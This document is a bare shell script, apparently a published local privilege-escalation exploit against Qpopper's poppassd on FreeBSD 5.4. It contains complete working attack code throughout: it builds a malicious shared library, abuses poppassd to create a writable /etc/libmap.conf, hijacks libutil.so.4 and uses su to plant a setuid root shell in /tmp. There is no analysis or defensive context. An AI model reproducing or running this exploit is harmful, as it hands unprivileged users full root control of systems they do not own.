FreeBSD Qpopper poppassd latest version local r00t exploit

#!/bin/sh ########################################################################### # FreeBSD Qpopper poppassd latest version local r00t exploit ### #by kcope ### # tested on FreeBSD 5.4-RELEASE ### ########################################################################### POPPASSD_PATH=/usr/local/bin/poppassd HOOKLIB=libutil.so.4 echo "" echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope" echo "" sleep 2 umask 0000 if [ -f /etc/libmap.conf ]; then echo "OOPS /etc/libmap.conf already exists.. exploit failed!" exit fi cat > program.c << _EOF #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { if (!geteuid()) { remove("/etc/libmap.conf"); execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL); } } _EOF gcc -o program.o -c program.c -fPIC gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 echo "--- Now type ENTER ---" echo "" $POPPASSD_PATH -t /etc/libmap.conf echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf su if [ -f /tmp/xxxx ]; then echo "IT'S A ROOTSHELL!!!" /tmp/xxxx else echo "Sorry, exploit failed." fi